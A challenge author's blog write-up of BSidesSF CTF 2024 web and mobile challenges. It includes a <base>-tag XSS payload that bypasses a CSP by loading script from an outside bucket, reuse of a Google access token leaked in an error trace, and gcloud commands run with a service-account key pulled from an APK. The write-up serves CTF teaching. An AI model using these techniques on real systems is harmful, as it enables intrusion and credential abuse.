BSidesSF 2024 — Challenge Write-ups

its C0rg1
7 min readMay 6, 2024

--

Here is this year’s write-up for my challenges from BSidesSF CTF 2024. This year I wrote 6 Web challenges: Match one, Match two, Color Picker and Web Tutorials (1–3) and 2 Mobile challenges: Shinji and Wishing Well.

Web Tutorial 1 has been around for a few years and is aimed at introducing people to writing XHR requests. Web Tutorial 3 made a return from 2020 and you can read the write-up here.

With that out of the way, let’s dive into the solutions from the challenge writer’s perspective!

Web Tutorial 2

This challenge requires players to use XSS to steal the flag. They will need to bypass the CSP,

default-src 'self';
script-src 'self''nonce-random';
connect-src *;
style-src-elem 'self' fonts.googleapis.com fonts.gstatic.com;
font-src 'self' fonts.gstatic.com fonts.googleapis.com

If you look at the /csp-two-result page, you’ll notice that woof.js is sourced but doesn’t exist.

Given that the CSP requires a nonce, your best option is to inject a <base> tag and modify where woof.js is sourced from. In my case, I opted to host woof.js on Google Cloud Storage (GCS) and injected the following payload to have the page source my script.

<base href="https://storage.googleapis.com/corgi-test-bucket/">

Color picker

Similar to “Let me do it for you”, I wanted to write another OAuth challenge for this year. I worked with Matthew Bryant (IamMandatory@) to come up with a challenge that requires people to use a leaked Google Access token.

We wrote a web application that would fetch colors corresponding to a shade from a Google Sheet.

For example, if you chose the shade “Pink” you would see the request,

/color?range_start=A2&range_end=C7

If you were to supply an invalid range, e.g, AAAAA. You would see the following exception.

Traceback (most recent call last): File "/app/server.py", line 90, in color response.raise_for_status() File "/usr/local/lib/python3.9/dist-packages/requests/models.py", line 1021, in raise_for_status raise HTTPError(http_error_msg, response=self) requests.exceptions.HTTPError: 400 Client Error: Bad Request for url: https://sheets.googleapis.com/v4/spreadsheets/18hFC6DvTZ-NtbYby7Sej0f8t8-6n0_GL7Uf25acuRk8/values/AAAAAA:C7?access_token=ya29.c.<..snip…>

You can use the Access Token to fetch the metadata of the Google Spreadsheet (id: 18hFC6DvTZ-NtbYby7Sej0f8t8–6n0_GL7Uf25acuRk8).

https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}

The response will show that there are 2 sheets in the Google Spreadsheet.

"sheets": [
{
"properties": {
"sheetId": 0,
"title": "Sheet1",
"index": 0,
"sheetType": "GRID",
"gridProperties": {
"rowCount": 1000,
"columnCount": 27
}
}
},
{
"properties": {
"sheetId": 689619434,
"title": "Sheet2",
"index": 1,
"sheetType": "GRID",
"gridProperties": {
"rowCount": 1000,
"columnCount": 26
}
}
}
],

You can then fetch the data in “Sheet2”,


"https://sheets.googleapis.com/v4/spreadsheets/" + spreadsheet_id + "/values/Sheet2!1:1000?access_token=" + access_token

This should get you the flag,

[['Flag', 'CTF{acc355-t0k3n5}']]

Match One

This year’s web game was a card match game. The first level is fairly straightforward, all you have to do is view the source and match the cards with the same value (data-value=”7").

<section class="memory-game">

<div class="memory-card" data-id="0" data-value="7">
<img class="front-face" src="/static/images/7.png" alt="BSidesSF">
<img class="back-face" src="/static/images/back.png" alt="7">
</div>
<div>...</div>
.
.
</section>

The catch is that you can only flip over cards that match, if any of the pairs you flip don’t match — your game state will be invalid and you can no longer get the flag.

Match Two

The catch this time around is that the card values / images are not populated until a card flip action is performed.

Every time you flip two cards, the following request is sent to the server with the position of the cards.

/match?first_pos=0&second_pos=1

The server responds with the base64 encoded SVG images and the match status.

{
"first_svgdata": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB3aWR0aD0iNTAwIiB6b29tQW5kUGFuPSJtYWduaWZ5IiB2aWV3Qm94PSIwIDAgMzc1IDM3NC45OTk5OTEiIGhlaWdodD0iNTAwIiBwcmVzZXJ2ZUFzcGVjdFJhdGlvPSJ4TWlkWU1pZCBtZWV0IiB2ZXJzaW9uPSIxLjAiPjxkZWZzPjxjbGlwUGF0aCBpZD0iZGY2MmI5MGQzZCI+PHBhdGggZD0iTSAyLjQwMjM0NCAwIEwgMzcyLjU5NzY1NiAwIEwgMzcyLjU5NzY1NiAzNzUgTCAyLjQwMjM0NCAzNzUgWiBNIDIuNDAyMzQ0IDAgIiBjbGlwLXJ1bGU9Im5vbnplcm8iLz48L2NsaXBQYXRoPjxjbGlwUGF0aCBpZD0iNDY0Y2QyZTFhZSI+PHBhdGggZD0iTSAxOS42NTIzNDQgMCBMIDM1NS4zNDc2NTYgMCBDIDM2NC44NzUgMCAzNzIuNTk3NjU2IDcuNzIyNjU2IDM3Mi41OTc2NTYgMTcuMjUgTCAzNzIuNTk3NjU2IDM1Ny43NSBDIDM3Mi41OTc2NTYgMzY3LjI3NzM0NCAzNjQuODc1IDM3NSAzNTUuMzQ3NjU2IDM3NSBMIDE5LjY1MjM0NCAzNzUgQyAxMC4xMjUgMzc1IDIuNDAyMzQ0IDM2Ny4yNzczNDQgMi40MDIzNDQgMzU3Ljc1IEwgMi40MDIzNDQgMTcuMjUgQyAyLjQwMjM0NCA3LjcyMjY1NiAxMC4xMjUgMCAxOS42NTIzNDQgMCBaIE0gMTkuNjUyMzQ0IDAgIiBjbGlwLXJ1bGU9Im5vbnplcm8iLz48L2NsaXBQYXRoPjxjbGlwUGF0aCBpZD0iYjVjYWY4MWJlMyI+PHBhdGggZD0iTSA2Mi40MTQwNjIgMjEgTCAyODkgMjEgTCAyODkgMzU0IEwgNjIuNDE0MDYyIDM1NCBaIE0gNjIuNDE0MDYyIDIxICIgY2xpcC1ydWxlPSJub256ZXJvIi8+PC9jbGlwUGF0aD48L2RlZnM+PHJlY3QgeD0iLTM3LjUiIHdpZHRoPSI0NTAiIGZpbGw9IiNmZmZmZmYiIHk9Ii0zNy40OTk5OTkiIGhlaWdodD0iNDQ5Ljk5OTk4OSIgZmlsbC1vcGFjaXR5PSIxIi8+PHJlY3QgeD0iLTM3LjUiIHdpZHRoPSI0NTAiIGZpbGw9IiNmZmZmZmYiIHk9Ii0zNy40OTk5OTkiIGhlaWdodD0iNDQ5Ljk5OTk4OSIgZmlsbC1vcGFjaXR5PSIxIi8+PGcgY2xpcC1wYXRoPSJ1cmwoI2RmNjJiOTBkM2QpIj48ZyBjbGlwLXBhdGg9InVybCgjNDY0Y2QyZTFhZSkiPjxwYXRoIGZpbGw9IiNmNGY0ZjQiIGQ9Ik0gMi40MDIzNDQgMCBMIDM3Mi41OTc2NTYgMCBMIDM3Mi41OTc2NTYgMzc0LjUzNTE1NiBMIDIuNDAyMzQ0IDM3NC41MzUxNTYgWiBNIDIuNDAyMzQ0IDAgIiBmaWxsLW9wYWNpdHk9IjEiIGZpbGwtcnVsZT0ibm9uemVybyIvPjwvZz48L2c+PGcgY2xpcC1wYXRoPSJ1cmwoI2I1Y2FmODFiZTMpIj48cGF0aCBmaWxsPSIjOGM1MmZmIiBkPSJNIDYyLjA4OTg0NCAxOTAuMTgzNTk0IEwgMjE5Ljg1MTU2MiAzMC44MDg1OTQgQyAyNTAuMzI4MTI1IDAuMDIzNDM3NSAzMTIuOTA2MjUgNTYuOTY4NzUgMjc2LjE5OTIxOSA5Mi43ODkwNjIgTCAxNzYuMzg2NzE5IDE5MC4xODM1OTQgTCAyNzkuNDE3OTY5IDI4NS45Njg3NSBDIDMxMC43OTI5NjkgMzE1LjEzNjcxOSAyNTIuNjc1NzgxIDM3NC45OTYwOTQgMjIxLjQ2NDg0NCAzNDQuNzMwNDY5IFogTSA2Mi4wODk4NDQgMTkwLjE4MzU5NCAiIGZpbGwtb3BhY2l0eT0iMSIgZmlsbC1ydWxlPSJub256ZXJvIi8+PC9nPjwvc3ZnPg==",
"second_svgdata": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB3aWR0aD0iNTAwIiB6b29tQW5kUGFuPSJtYWduaWZ5IiB2aWV3Qm94PSIwIDAgMzc1IDM3NC45OTk5OTEiIGhlaWdodD0iNTAwIiBwcmVzZXJ2ZUFzcGVjdFJhdGlvPSJ4TWlkWU1pZCBtZWV0IiB2ZXJzaW9uPSIxLjAiPjxkZWZzPjxjbGlwUGF0aCBpZD0iN2U0ODI0YzFlMyI+PHBhdGggZD0iTSAyLjQwMjM0NCAwIEwgMzcyLjU5NzY1NiAwIEwgMzcyLjU5NzY1NiAzNzUgTCAyLjQwMjM0NCAzNzUgWiBNIDIuNDAyMzQ0IDAgIiBjbGlwLXJ1bGU9Im5vbnplcm8iLz48L2NsaXBQYXRoPjxjbGlwUGF0aCBpZD0iMzYwNTgyOGI5NyI+PHBhdGggZD0iTSAxOS42NTIzNDQgMCBMIDM1NS4zNDc2NTYgMCBDIDM2NC44NzUgMCAzNzIuNTk3NjU2IDcuNzIyNjU2IDM3Mi41OTc2NTYgMTcuMjUgTCAzNzIuNTk3NjU2IDM1Ny43NSBDIDM3Mi41OTc2NTYgMzY3LjI3NzM0NCAzNjQuODc1IDM3NSAzNTUuMzQ3NjU2IDM3NSBMIDE5LjY1MjM0NCAzNzUgQyAxMC4xMjUgMzc1IDIuNDAyMzQ0IDM2Ny4yNzczNDQgMi40MDIzNDQgMzU3Ljc1IEwgMi40MDIzNDQgMTcuMjUgQyAyLjQwMjM0NCA3LjcyMjY1NiAxMC4xMjUgMCAxOS42NTIzNDQgMCBaIE0gMTkuNjUyMzQ0IDAgIiBjbGlwLXJ1bGU9Im5vbnplcm8iLz48L2NsaXBQYXRoPjxjbGlwUGF0aCBpZD0iMjkzNGIwMTMzOCI+PHBhdGggZD0iTSAxMDIuNzY5NTMxIDQxLjQyOTY4OCBMIDI4OS41MTk1MzEgNDEuNDI5Njg4IEwgMjg5LjUxOTUzMSAzMzcuNjc5Njg4IEwgMTAyLjc2OTUzMSAzMzcuNjc5Njg4IFogTSAxMDIuNzY5NTMxIDQxLjQyOTY4OCAiIGNsaXAtcnVsZT0ibm9uemVybyIvPjwvY2xpcFBhdGg+PC9kZWZzPjxyZWN0IHg9Ii0zNy41IiB3aWR0aD0iNDUwIiBmaWxsPSIjZmZmZmZmIiB5PSItMzcuNDk5OTk5IiBoZWlnaHQ9IjQ0OS45OTk5ODkiIGZpbGwtb3BhY2l0eT0iMSIvPjxyZWN0IHg9Ii0zNy41IiB3aWR0aD0iNDUwIiBmaWxsPSIjZmZmZmZmIiB5PSItMzcuNDk5OTk5IiBoZWlnaHQ9IjQ0OS45OTk5ODkiIGZpbGwtb3BhY2l0eT0iMSIvPjxnIGNsaXAtcGF0aD0idXJsKCM3ZTQ4MjRjMWUzKSI+PGcgY2xpcC1wYXRoPSJ1cmwoIzM2MDU4MjhiOTcpIj48cGF0aCBmaWxsPSIjZjRmNGY0IiBkPSJNIDIuNDAyMzQ0IDAgTCAzNzIuNTk3NjU2IDAgTCAzNzIuNTk3NjU2IDM3NC41MzUxNTYgTCAyLjQwMjM0NCAzNzQuNTM1MTU2IFogTSAyLjQwMjM0NCAwICIgZmlsbC1vcGFjaXR5PSIxIiBmaWxsLXJ1bGU9Im5vbnplcm8iLz48L2c+PC9nPjxnIGNsaXAtcGF0aD0idXJsKCMyOTM0YjAxMzM4KSI+PHBhdGggZmlsbD0iIzhjNTJmZiIgZD0iTSAxOTYuMTYwMTU2IDQxLjQyOTY4OCBMIDEwMi44NDM3NSAxODkuNDYwOTM4IEwgMTk2LjE2MDE1NiAzMzcuNDkyMTg4IEwgMjg5LjQ4MDQ2OSAxODkuNDYwOTM4IFogTSAxOTYuMTYwMTU2IDQxLjQyOTY4OCAiIGZpbGwtb3BhY2l0eT0iMSIgZmlsbC1ydWxlPSJub256ZXJvIi8+PC9nPjwvc3ZnPg==",
"state": 0
}

If the cards that were flipped match, the state is 1 otherwise it is 0.

The trick is to find a way to figure out what the card image / value is without having it count as a mismatch. If you modified the match call to flip the same card twice,

/match?first_pos=1&second_pos=1

You will get the following response,

{
"first_svgdata":"PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB3aWR0aD0iNTAwIiB6b29tQW5kUGFuPSJtYWduaWZ5IiB2aWV3Qm94PSIwIDAgMzc1IDM3NC45OTk5OTEiIGhlaWdodD0iNTAwIiBwcmVzZXJ2ZUFzcGVjdFJhdGlvPSJ4TWlkWU1pZCBtZWV0IiB2ZXJzaW9uPSIxLjAiPjxkZWZzPjxjbGlwUGF0aCBpZD0iN2U0ODI0YzFlMyI+PHBhdGggZD0iTSAyLjQwMjM0NCAwIEwgMzcyLjU5NzY1NiAwIEwgMzcyLjU5NzY1NiAzNzUgTCAyLjQwMjM0NCAzNzUgWiBNIDIuNDAyMzQ0IDAgIiBjbGlwLXJ1bGU9Im5vbnplcm8iLz48L2NsaXBQYXRoPjxjbGlwUGF0aCBpZD0iMzYwNTgyOGI5NyI+PHBhdGggZD0iTSAxOS42NTIzNDQgMCBMIDM1NS4zNDc2NTYgMCBDIDM2NC44NzUgMCAzNzIuNTk3NjU2IDcuNzIyNjU2IDM3Mi41OTc2NTYgMTcuMjUgTCAzNzIuNTk3NjU2IDM1Ny43NSBDIDM3Mi41OTc2NTYgMzY3LjI3NzM0NCAzNjQuODc1IDM3NSAzNTUuMzQ3NjU2IDM3NSBMIDE5LjY1MjM0NCAzNzUgQyAxMC4xMjUgMzc1IDIuNDAyMzQ0IDM2Ny4yNzczNDQgMi40MDIzNDQgMzU3Ljc1IEwgMi40MDIzNDQgMTcuMjUgQyAyLjQwMjM0NCA3LjcyMjY1NiAxMC4xMjUgMCAxOS42NTIzNDQgMCBaIE0gMTkuNjUyMzQ0IDAgIiBjbGlwLXJ1bGU9Im5vbnplcm8iLz48L2NsaXBQYXRoPjxjbGlwUGF0aCBpZD0iMjkzNGIwMTMzOCI+PHBhdGggZD0iTSAxMDIuNzY5NTMxIDQxLjQyOTY4OCBMIDI4OS41MTk1MzEgNDEuNDI5Njg4IEwgMjg5LjUxOTUzMSAzMzcuNjc5Njg4IEwgMTAyLjc2OTUzMSAzMzcuNjc5Njg4IFogTSAxMDIuNzY5NTMxIDQxLjQyOTY4OCAiIGNsaXAtcnVsZT0ibm9uemVybyIvPjwvY2xpcFBhdGg+PC9kZWZzPjxyZWN0IHg9Ii0zNy41IiB3aWR0aD0iNDUwIiBmaWxsPSIjZmZmZmZmIiB5PSItMzcuNDk5OTk5IiBoZWlnaHQ9IjQ0OS45OTk5ODkiIGZpbGwtb3BhY2l0eT0iMSIvPjxyZWN0IHg9Ii0zNy41IiB3aWR0aD0iNDUwIiBmaWxsPSIjZmZmZmZmIiB5PSItMzcuNDk5OTk5IiBoZWlnaHQ9IjQ0OS45OTk5ODkiIGZpbGwtb3BhY2l0eT0iMSIvPjxnIGNsaXAtcGF0aD0idXJsKCM3ZTQ4MjRjMWUzKSI+PGcgY2xpcC1wYXRoPSJ1cmwoIzM2MDU4MjhiOTcpIj48cGF0aCBmaWxsPSIjZjRmNGY0IiBkPSJNIDIuNDAyMzQ0IDAgTCAzNzIuNTk3NjU2IDAgTCAzNzIuNTk3NjU2IDM3NC41MzUxNTYgTCAyLjQwMjM0NCAzNzQuNTM1MTU2IFogTSAyLjQwMjM0NCAwICIgZmlsbC1vcGFjaXR5PSIxIiBmaWxsLXJ1bGU9Im5vbnplcm8iLz48L2c+PC9nPjxnIGNsaXAtcGF0aD0idXJsKCMyOTM0YjAxMzM4KSI+PHBhdGggZmlsbD0iIzhjNTJmZiIgZD0iTSAxOTYuMTYwMTU2IDQxLjQyOTY4OCBMIDEwMi44NDM3NSAxODkuNDYwOTM4IEwgMTk2LjE2MDE1NiAzMzcuNDkyMTg4IEwgMjg5LjQ4MDQ2OSAxODkuNDYwOTM4IFogTSAxOTYuMTYwMTU2IDQxLjQyOTY4OCAiIGZpbGwtb3BhY2l0eT0iMSIgZmlsbC1ydWxlPSJub256ZXJvIi8+PC9nPjwvc3ZnPg==",
"second_svgdata":"PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB3aWR0aD0iNTAwIiB6b29tQW5kUGFuPSJtYWduaWZ5IiB2aWV3Qm94PSIwIDAgMzc1IDM3NC45OTk5OTEiIGhlaWdodD0iNTAwIiBwcmVzZXJ2ZUFzcGVjdFJhdGlvPSJ4TWlkWU1pZCBtZWV0IiB2ZXJzaW9uPSIxLjAiPjxkZWZzPjxjbGlwUGF0aCBpZD0iN2U0ODI0YzFlMyI+PHBhdGggZD0iTSAyLjQwMjM0NCAwIEwgMzcyLjU5NzY1NiAwIEwgMzcyLjU5NzY1NiAzNzUgTCAyLjQwMjM0NCAzNzUgWiBNIDIuNDAyMzQ0IDAgIiBjbGlwLXJ1bGU9Im5vbnplcm8iLz48L2NsaXBQYXRoPjxjbGlwUGF0aCBpZD0iMzYwNTgyOGI5NyI+PHBhdGggZD0iTSAxOS42NTIzNDQgMCBMIDM1NS4zNDc2NTYgMCBDIDM2NC44NzUgMCAzNzIuNTk3NjU2IDcuNzIyNjU2IDM3Mi41OTc2NTYgMTcuMjUgTCAzNzIuNTk3NjU2IDM1Ny43NSBDIDM3Mi41OTc2NTYgMzY3LjI3NzM0NCAzNjQuODc1IDM3NSAzNTUuMzQ3NjU2IDM3NSBMIDE5LjY1MjM0NCAzNzUgQyAxMC4xMjUgMzc1IDIuNDAyMzQ0IDM2Ny4yNzczNDQgMi40MDIzNDQgMzU3Ljc1IEwgMi40MDIzNDQgMTcuMjUgQyAyLjQwMjM0NCA3LjcyMjY1NiAxMC4xMjUgMCAxOS42NTIzNDQgMCBaIE0gMTkuNjUyMzQ0IDAgIiBjbGlwLXJ1bGU9Im5vbnplcm8iLz48L2NsaXBQYXRoPjxjbGlwUGF0aCBpZD0iMjkzNGIwMTMzOCI+PHBhdGggZD0iTSAxMDIuNzY5NTMxIDQxLjQyOTY4OCBMIDI4OS41MTk1MzEgNDEuNDI5Njg4IEwgMjg5LjUxOTUzMSAzMzcuNjc5Njg4IEwgMTAyLjc2OTUzMSAzMzcuNjc5Njg4IFogTSAxMDIuNzY5NTMxIDQxLjQyOTY4OCAiIGNsaXAtcnVsZT0ibm9uemVybyIvPjwvY2xpcFBhdGg+PC9kZWZzPjxyZWN0IHg9Ii0zNy41IiB3aWR0aD0iNDUwIiBmaWxsPSIjZmZmZmZmIiB5PSItMzcuNDk5OTk5IiBoZWlnaHQ9IjQ0OS45OTk5ODkiIGZpbGwtb3BhY2l0eT0iMSIvPjxyZWN0IHg9Ii0zNy41IiB3aWR0aD0iNDUwIiBmaWxsPSIjZmZmZmZmIiB5PSItMzcuNDk5OTk5IiBoZWlnaHQ9IjQ0OS45OTk5ODkiIGZpbGwtb3BhY2l0eT0iMSIvPjxnIGNsaXAtcGF0aD0idXJsKCM3ZTQ4MjRjMWUzKSI+PGcgY2xpcC1wYXRoPSJ1cmwoIzM2MDU4MjhiOTcpIj48cGF0aCBmaWxsPSIjZjRmNGY0IiBkPSJNIDIuNDAyMzQ0IDAgTCAzNzIuNTk3NjU2IDAgTCAzNzIuNTk3NjU2IDM3NC41MzUxNTYgTCAyLjQwMjM0NCAzNzQuNTM1MTU2IFogTSAyLjQwMjM0NCAwICIgZmlsbC1vcGFjaXR5PSIxIiBmaWxsLXJ1bGU9Im5vbnplcm8iLz48L2c+PC9nPjxnIGNsaXAtcGF0aD0idXJsKCMyOTM0YjAxMzM4KSI+PHBhdGggZmlsbD0iIzhjNTJmZiIgZD0iTSAxOTYuMTYwMTU2IDQxLjQyOTY4OCBMIDEwMi44NDM3NSAxODkuNDYwOTM4IEwgMTk2LjE2MDE1NiAzMzcuNDkyMTg4IEwgMjg5LjQ4MDQ2OSAxODkuNDYwOTM4IFogTSAxOTYuMTYwMTU2IDQxLjQyOTY4OCAiIGZpbGwtb3BhY2l0eT0iMSIgZmlsbC1ydWxlPSJub256ZXJvIi8+PC9nPjwvc3ZnPg==",
"state":-1
}

You’ll notice that it returns the same image twice and the status is “-1” — which indicates that it isn’t treated as a mismatch. This means that you can figure out the value of the card without it affecting your game state.

With that in mind, you can put together a quick script to query each card and then generate the right sequence of matches to win the game.

Shinji

This mobile challenge requires players to reverse the apk and how the flag is computed. I chose to write the application in Kotlin this time, which does make the Apktool > Dex2Jar > JADX output less reliable.

The app will show you the flag when the time is right. I choose the data/time Monday, March 8, 2021 6:00:00 AM GMT-08:00,which is a reference to the release date of Evangelion: 3.0+1.0 Thrice Upon a Time.

The following function in Kotlin computes the flag,

fun flagDisplay(): String {
var string = getString(R.string.app_string)
// Magic String that they need to match
val magicString = "75b1d234851cdc94899eae8c97adce769e8ddb26"
// Prefix applied before hashing
val prefixString = "shinji-"
val sb = StringBuilder()
// Get the current time in seconds
val seconds = System.currentTimeMillis() / 1000
// Check if it is within the acceptable range
if (seconds < 1577865600L) return string
if (seconds > 1735718400L) return string
val secondsString = seconds.toString()
var tempString = prefixString + secondsString
val md5Digest = MessageDigest.getInstance("MD5")
val md5Result = md5Digest.digest(tempString.toByteArray(Charsets.UTF_8))
for (b in md5Result) {
sb.append(String.format("%02X", b))
}
val md5String = sb.toString().lowercase()
val sha1Digest = MessageDigest.getInstance("SHA-1")
val sha1Result = sha1Digest.digest(md5String.toByteArray(Charsets.UTF_8))
val sb2 = StringBuilder()
for (b in sha1Result) {
sb2.append(String.format("%02X", b))
}
val sha1String = sb2.toString().lowercase()
if (sha1String == magicString)
{
string = getString(R.string.part_one)
string += secondsString
string += getString(R.string.part_three)
}
return string
}

The magic string 75b1d234851cdc94899eae8c97adce769e8ddb26 is computed using SHA1(MD5(“shinji-” + unixtimestamp)). I helpfully provide the range of the timestamp (between 1577865600L and 1735718400L).

If you used apktool / Android Studio to reverse the application, the smali code would reveal the same sequence of steps but… be a bit harder to read :)

You can write a simple Python script to bruteforce the right timestamp and the flag is CTF{1615212000}.

import hashlib
import time

i = 1577865600
while i < 1735718400:
string_to_hash = "shinji-" + str(i)
md5_hash = hashlib.md5(string_to_hash.encode()).hexdigest()
sha1_hash = hashlib.sha1(md5_hash.encode()).hexdigest()
if sha1_hash == "75b1d234851cdc94899eae8c97adce769e8ddb26":
print("CTF{"+ str(i) + "}")
break
i = i + 1

Some players kept trying CTF{shinji-1615212000} due to a phantom string reference in the JADX output.

I gave Gemini the smali code for MainActivity and asked it to explain what FlagDisplay does — it managed to provide a walk-through of the steps :)

Based on the analysis of both the Kotlin code and the smali code, here's a comprehensive understanding of what flagDisplay does:

Functionality:
Generates a flag string, which might be used for controlling the display content in the app.

Logic Breakdown:

1) Retrieves Initial String:
Fetches a string resource from the app's resources using getString(R.string.app_string) in Kotlin or its equivalent in smali (details hidden).

2) Time-based Filtering (Possible Security):

Calculates the current time in seconds, potentially filtering out specific time ranges.This filtering might be implemented for security reasons, such as restricting access to certain features during specific times.

3) Conditional String Generation:
- If the time falls within the filtered range, the function returns the original string resource retrieved in step 1.
- Otherwise, it constructs a new flag string using these steps:
-- Creates a string by combining a prefix string (prefixString) and the current time in seconds (secondsString).
-- Generates an MD5 hash of the constructed string.
-- Generates a SHA-1 hash of the MD5 hash.
-- Converts both hashes to lowercase.
-- Checks if the final SHA-1 hash matches a predefined "magic string" (magicString).

4) Flag String Construction (if hash matches):
- If the SHA-1 hash from step 3c matches the magicString, the function constructs a new flag string by combining elements from resources and the calculated seconds. The exact details of this construction are likely hidden within the code.

5) Return Value:
The function ultimately returns either the original string resource (if time is filtered) or the newly constructed flag string (if the hash matches and time allows).

In essence, flagDisplay acts like a gatekeeper. It controls the displayed content based on the current time and a hidden security check (the hash comparison). During specific times or if the security check fails, it displays the default string from resources.
Otherwise, it generates a dynamic flag string potentially based on the current time.

Wishing Well

This mobile challenge requires players to find a service account key that is baked into the app and figure out what resource it can access.

I tried to keep things simple this year by not obfuscating the key, instead opting to add it to assets/key.json.

Given that the app submits the wish to a Pub/Sub topic and the challenge description mentions the flag is in a wish. I hoped that people would put 2+2 together to realize the flag can be retrieved from a Pub/Sub subscriber.

Most people tried to list the subscribers and encountered a permission error. This is working as intended, since that permission isn’t available to this service account. I hoped that players would either set-up their own Pub/Sub to walk-through the flow or read through the docs to understand the default subscription (“-sub” suffix).

Reversing the app, will reveal that the app used the Pub/Sub topic “wishing-well”, so the default subscriber for it is “wishing-well-sub”. Once the players extract the service account key, they can use the gcloud cli to solve the challenge.

gcloud activate-service-account wishing-well-pubsub@bsides-sf-ctf-2023.iam.gserviceaccount.com --key-file=key.json
gcloud config set project bsides-sf-ctf-2023
gcloud pubsub subscriptions pull --limit=100 wishing-well-sub

Sample output below,

gcloud pubsub subscriptions pull --limit=100 wishing-well-sub
┌────────────────────────────────────────────────────────┬───────────────────┬──────────────┬────────────┬──────────────────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┐
│ DATA │ MESSAGE_ID │ ORDERING_KEY │ ATTRIBUTES │ DELIVERY_ATTEMPT │ ACK_ID │
├────────────────────────────────────────────────────────┼───────────────────┼──────────────┼────────────┼──────────────────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ {"data": {"message": "CTF{W1sh3s-publish3d-gr4nt3d}"}} │ 11092982454052816 │ │ │ │ UAYWLF1GSFE3GQhoUQ5PXiM_NSAoRREGCBQFfH1wW1F1VF4aB1ENGXJ8aSNuXxUBUUZbfVVYHgdoTm11H6vg8_NLQ1RrWxMIAExbfFteHw1tXlR0AXmKqIjKovzkeQk9Or--lN5tO5CMoOJEZiM9XxJLLD5-LTJFQV5AEkwmB0RJUytDCypYEU4EISE-MD5FU0Q │
│ {"data": {"message": "CTF{W1sh3s-publish3d-gr4nt3d}"}} │ 11093494915305178 │ │ │ │ UAYWLF1GSFE3GQhoUQ5PXiM_NSAoRREGCBQFfH1wW1F1VF4aB1ENGXJ8aSNuXxUBUUZbfVVYHQdoTm11H6vg8_NLQ1RrWxMIAUFaelZaHg5oWV1yD3mKqIjKovzkeQk9Or--lN5tO5CMoOJEZiM9XxJLLD5-LTJFQV5AEkwmB0RJUytDCypYEU4EISE-MD5FU0Q │
│ {"data": {"message": "CTF{W1sh3s-publish3d-gr4nt3d}"}} │ 11093502846232309 │ │ │ │ UAYWLF1GSFE3GQhoUQ5PXiM_NSAoRREGCBQFfH1wW1F1VF4aB1ENGXJ8aSNuXxUBUUZbfVVYHAdoTm11H6vg8_NLQ1RrWxMIAUBTfFdfHQ9rXl91DnmKqIjKovzkeQk9Or--lN5tO5CMoOJEZiM9XxJLLD5-LTJFQV5AEkwmB0RJUytDCypYEU4EISE-MD5FU0Q │
└────────────────────────────────────────────────────────┴───────────────────┴──────────────┴────────────┴──────────────────┴─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┘

--

--

its C0rg1

Security Engineer in silicon valley, foodie, gamer and serial doodler. Specialize in red teaming and application security.